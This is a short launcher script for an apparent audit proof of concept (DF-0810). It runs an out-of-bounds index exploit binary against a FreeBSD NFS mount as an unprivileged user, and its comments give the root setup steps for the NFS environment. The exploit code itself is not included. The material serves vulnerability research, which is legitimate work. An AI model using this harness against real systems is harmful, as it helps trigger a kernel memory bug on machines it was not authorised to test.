DF-0810 / run.sh
#!/bin/sh # DF-0810 — run the OOB index PoC as maxx. # Prerequisites (root setup, acceptable per audit realism test): # service rpcbind onestart # service mountd onestart # service nfsd onestart # echo "/nfsroot -maproot=root -network 127.0.0.0 -mask 255.0.0.0" > /etc/exports # mount_nfs 127.0.0.1:/nfsroot /mnt # mkdir -p /nfsroot/testdir && (cd /nfsroot/testdir && for i in 1 2 3 4 5; do touch file$i; done) # chown -R maxx:maxx /nfsroot/testdir cd "$(dirname "$0")" ./nfs_getcookie_oob /mnt/testdir |